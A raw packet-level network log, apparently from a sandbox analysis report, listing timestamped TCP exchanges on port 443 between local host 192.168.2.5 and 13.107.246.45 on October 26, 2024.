Oct 26, 2024 13:46:20.285367966 CEST	49943	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:20.285592079 CEST	49943	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:20.285608053 CEST	443	49943	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:20.285618067 CEST	49943	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:20.285624027 CEST	443	49943	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:20.287818909 CEST	443	49944	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:20.287883997 CEST	49946	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:20.287894011 CEST	443	49944	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:20.287930012 CEST	443	49946	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:20.287952900 CEST	49944	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:20.287986994 CEST	49946	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:20.288048029 CEST	49944	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:20.288058043 CEST	443	49944	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:20.288074017 CEST	49944	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:20.288081884 CEST	443	49944	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:20.288150072 CEST	49946	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:20.288168907 CEST	443	49946	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:20.289992094 CEST	49947	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:20.290018082 CEST	443	49947	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:20.290087938 CEST	49947	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:20.290216923 CEST	49947	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:20.290232897 CEST	443	49947	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:21.013533115 CEST	443	49945	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:21.014151096 CEST	49945	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:21.014175892 CEST	443	49945	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:21.014709949 CEST	49945	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:21.014717102 CEST	443	49945	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:21.020344019 CEST	443	49947	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:21.020787954 CEST	49947	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:21.020801067 CEST	443	49947	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:21.021295071 CEST	49947	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:21.021300077 CEST	443	49947	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:21.033101082 CEST	443	49946	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:21.033390999 CEST	49946	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:21.033409119 CEST	443	49946	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:21.033730030 CEST	49946	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:21.033735037 CEST	443	49946	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:21.142565966 CEST	443	49945	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:21.142750978 CEST	443	49945	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:21.142824888 CEST	49945	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:21.143040895 CEST	49945	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:21.143040895 CEST	49945	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:21.143058062 CEST	443	49945	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:21.143065929 CEST	443	49945	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:21.146930933 CEST	49948	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:21.146964073 CEST	443	49948	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:21.147037983 CEST	49948	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:21.147200108 CEST	49948	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:21.147217035 CEST	443	49948	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:21.150665045 CEST	443	49947	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:21.150738955 CEST	443	49947	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:21.150847912 CEST	443	49947	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:21.150921106 CEST	49947	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:21.150921106 CEST	49947	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:21.150921106 CEST	49947	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:21.150937080 CEST	443	49947	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:21.150954962 CEST	49947	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:21.150959969 CEST	443	49947	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:21.153481960 CEST	49949	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:21.153501987 CEST	443	49949	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:21.153563023 CEST	49949	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:21.153791904 CEST	49949	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:21.153803110 CEST	443	49949	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:21.167057037 CEST	443	49946	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:21.167141914 CEST	443	49946	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:21.167218924 CEST	49946	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:21.167294025 CEST	49946	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:21.167301893 CEST	443	49946	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:21.167337894 CEST	49946	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:21.167351007 CEST	443	49946	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:21.169866085 CEST	49950	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:21.169891119 CEST	443	49950	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:21.169967890 CEST	49950	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:21.170126915 CEST	49950	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:21.170141935 CEST	443	49950	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:21.897999048 CEST	443	49948	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:21.898813963 CEST	49948	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:21.898837090 CEST	443	49948	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:21.899225950 CEST	49948	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:21.899231911 CEST	443	49948	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:21.904783964 CEST	443	49949	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:21.905324936 CEST	49949	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:21.905344009 CEST	443	49949	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:21.905599117 CEST	49949	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:21.905611038 CEST	443	49949	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:21.910114050 CEST	443	49950	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:21.910563946 CEST	49950	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:21.910582066 CEST	443	49950	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:21.910865068 CEST	49950	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:21.910868883 CEST	443	49950	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:22.032577038 CEST	443	49948	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:22.032660007 CEST	443	49948	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:22.032845020 CEST	49948	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:22.033238888 CEST	49948	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:22.033238888 CEST	49948	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:22.033267021 CEST	443	49948	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:22.033281088 CEST	443	49948	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:22.036087990 CEST	443	49949	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:22.036171913 CEST	443	49949	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:22.036247969 CEST	49949	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:22.036588907 CEST	49951	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:22.036623955 CEST	443	49951	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:22.036710978 CEST	49951	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:22.037246943 CEST	49949	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:22.037246943 CEST	49949	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:22.037259102 CEST	443	49949	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:22.037266970 CEST	443	49949	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:22.038234949 CEST	49951	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:22.038247108 CEST	443	49951	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:22.039741993 CEST	49952	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:22.039771080 CEST	443	49952	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:22.039963007 CEST	49952	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:22.039963007 CEST	49952	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:22.039994001 CEST	443	49952	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:22.042678118 CEST	443	49950	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:22.042849064 CEST	443	49950	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:22.042968035 CEST	49950	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:22.042968035 CEST	49950	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:22.043026924 CEST	49950	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:22.043034077 CEST	443	49950	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:22.044972897 CEST	49953	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:22.045008898 CEST	443	49953	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:22.045089006 CEST	49953	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:22.045242071 CEST	49953	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:22.045258045 CEST	443	49953	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:22.792963028 CEST	443	49952	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:22.793591976 CEST	49952	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:22.793632984 CEST	443	49952	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:22.794125080 CEST	49952	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:22.794131994 CEST	443	49952	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:22.796839952 CEST	443	49951	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:22.799077034 CEST	443	49953	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:22.800805092 CEST	49951	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:22.800833941 CEST	443	49951	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:22.801291943 CEST	49951	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:22.801305056 CEST	443	49951	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:22.803730011 CEST	49953	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:22.803754091 CEST	443	49953	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:22.804230928 CEST	49953	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:22.804238081 CEST	443	49953	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:22.928098917 CEST	443	49952	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:22.928184986 CEST	443	49952	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:22.928241014 CEST	49952	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:22.928554058 CEST	49952	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:22.928572893 CEST	443	49952	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:22.928586960 CEST	49952	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:22.928595066 CEST	443	49952	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:22.932137966 CEST	49954	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:22.932162046 CEST	443	49954	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:22.932267904 CEST	49954	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:22.932419062 CEST	49954	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:22.932430029 CEST	443	49954	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:22.932887077 CEST	443	49953	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:22.932972908 CEST	443	49953	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:22.933034897 CEST	49953	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:22.933177948 CEST	49953	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:22.933206081 CEST	443	49953	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:22.933222055 CEST	49953	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:22.933228016 CEST	443	49953	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:22.935663939 CEST	49955	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:22.935684919 CEST	443	49955	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:22.935719967 CEST	443	49951	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:22.935754061 CEST	49955	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:22.936001062 CEST	49955	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:22.936012030 CEST	443	49955	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:22.936079025 CEST	443	49951	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:22.936125994 CEST	49951	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:22.936276913 CEST	49951	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:22.936278105 CEST	49951	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:22.936288118 CEST	443	49951	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:22.936295033 CEST	443	49951	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:22.938880920 CEST	49956	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:22.938915014 CEST	443	49956	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:22.938985109 CEST	49956	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:22.939136028 CEST	49956	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:22.939147949 CEST	443	49956	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:24.441414118 CEST	443	49954	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:24.442065001 CEST	49954	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:24.442071915 CEST	443	49954	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:24.442699909 CEST	443	49955	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:24.442873001 CEST	49954	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:24.442877054 CEST	443	49954	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:24.443234921 CEST	49955	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:24.443253994 CEST	443	49955	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:24.443634033 CEST	49955	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:24.443641901 CEST	443	49955	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:24.444578886 CEST	443	49956	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:24.444818974 CEST	49956	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:24.444845915 CEST	443	49956	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:24.445174932 CEST	49956	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:24.445179939 CEST	443	49956	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:24.571736097 CEST	443	49955	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:24.571814060 CEST	443	49955	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:24.571916103 CEST	443	49955	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:24.571909904 CEST	443	49954	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:24.571928024 CEST	49955	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:24.571980953 CEST	49955	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:24.572082996 CEST	443	49954	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:24.572166920 CEST	49954	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:24.572304010 CEST	49955	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:24.572309017 CEST	49954	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:24.572309017 CEST	49954	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:24.572313070 CEST	443	49955	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:24.572320938 CEST	443	49954	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:24.572321892 CEST	443	49954	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:24.572360992 CEST	49955	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:24.572366953 CEST	443	49955	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:24.574414968 CEST	443	49956	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:24.574588060 CEST	443	49956	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:24.574657917 CEST	49956	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:24.574956894 CEST	49956	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:24.574969053 CEST	443	49956	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:24.574980974 CEST	49956	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:24.574985981 CEST	443	49956	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:24.575772047 CEST	49957	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:24.575800896 CEST	443	49957	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:24.575891972 CEST	49957	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:24.576389074 CEST	49957	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:24.576402903 CEST	443	49957	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:24.576602936 CEST	49958	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:24.576618910 CEST	443	49958	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:24.576678991 CEST	49958	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:24.576791048 CEST	49958	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:24.576807022 CEST	443	49958	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:24.577294111 CEST	49959	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:24.577306032 CEST	443	49959	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:24.577378035 CEST	49959	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:24.577465057 CEST	49959	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:24.577472925 CEST	443	49959	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:25.415796995 CEST	443	49958	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:25.416373968 CEST	49958	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:25.416400909 CEST	443	49958	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:25.416941881 CEST	49958	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:25.416949034 CEST	443	49958	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:25.425262928 CEST	443	49959	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:25.425862074 CEST	49959	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:25.425887108 CEST	443	49959	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:25.426316977 CEST	49959	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:25.426321983 CEST	443	49959	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:25.427299023 CEST	443	49957	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:25.427656889 CEST	49957	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:25.427674055 CEST	443	49957	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:25.428073883 CEST	49957	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:25.428078890 CEST	443	49957	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:25.552328110 CEST	443	49958	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:25.552402020 CEST	443	49958	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:25.552452087 CEST	49958	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:25.552470922 CEST	443	49958	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:25.552521944 CEST	443	49958	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:25.552573919 CEST	49958	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:25.552769899 CEST	49958	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:25.552786112 CEST	443	49958	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:25.552795887 CEST	49958	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:25.552800894 CEST	443	49958	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:25.556083918 CEST	49960	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:25.556097984 CEST	443	49960	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:25.556179047 CEST	49960	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:25.556401014 CEST	49960	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:25.556413889 CEST	443	49960	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:25.556583881 CEST	443	49959	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:25.556617975 CEST	443	49959	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:25.556689978 CEST	49959	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:25.556691885 CEST	443	49959	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:25.556737900 CEST	49959	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:25.556819916 CEST	49959	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:25.556832075 CEST	443	49959	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:25.556842089 CEST	49959	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:25.556845903 CEST	443	49959	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:25.559016943 CEST	49961	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:25.559051037 CEST	443	49961	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:25.559124947 CEST	49961	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:25.559256077 CEST	49961	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:25.559269905 CEST	443	49961	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:25.559422016 CEST	443	49957	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:25.559585094 CEST	443	49957	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:25.559645891 CEST	49957	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:25.559675932 CEST	49957	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:25.559680939 CEST	443	49957	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:25.559691906 CEST	49957	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:25.559695959 CEST	443	49957	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:25.561559916 CEST	49962	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:25.561568975 CEST	443	49962	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:25.561639071 CEST	49962	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:25.561764956 CEST	49962	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:25.561775923 CEST	443	49962	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:26.290376902 CEST	443	49961	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:26.290966034 CEST	49961	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:26.290990114 CEST	443	49961	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:26.291532040 CEST	49961	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:26.291538000 CEST	443	49961	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:26.291760921 CEST	443	49960	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:26.292114019 CEST	49960	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:26.292121887 CEST	443	49960	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:26.292546034 CEST	49960	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:26.292550087 CEST	443	49960	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:26.304701090 CEST	443	49962	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:26.305228949 CEST	49962	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:26.305237055 CEST	443	49962	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:26.305692911 CEST	49962	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:26.305696964 CEST	443	49962	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:26.422374010 CEST	443	49960	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:26.422461033 CEST	443	49960	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:26.422593117 CEST	49960	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:26.422887087 CEST	49960	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:26.422900915 CEST	443	49960	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:26.422911882 CEST	49960	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:26.422918081 CEST	443	49960	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:26.427264929 CEST	443	49961	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:26.427335024 CEST	443	49961	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:26.427397013 CEST	49961	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:26.427793980 CEST	49963	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:26.427826881 CEST	443	49963	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:26.427897930 CEST	49963	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:26.428006887 CEST	49961	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:26.428019047 CEST	443	49961	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:26.428030968 CEST	49961	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:26.428035975 CEST	443	49961	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:26.428073883 CEST	49963	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:26.428088903 CEST	443	49963	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:26.430490017 CEST	49964	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:26.430525064 CEST	443	49964	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:26.430717945 CEST	49964	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:26.430717945 CEST	49964	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:26.430747986 CEST	443	49964	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:26.438015938 CEST	443	49962	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:26.438098907 CEST	443	49962	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:26.438191891 CEST	49962	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:26.438261986 CEST	49962	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:26.438272953 CEST	443	49962	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:26.438306093 CEST	49962	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:26.438311100 CEST	443	49962	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:26.440617085 CEST	49965	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:26.440655947 CEST	443	49965	13.107.246.45	192.168.2.5
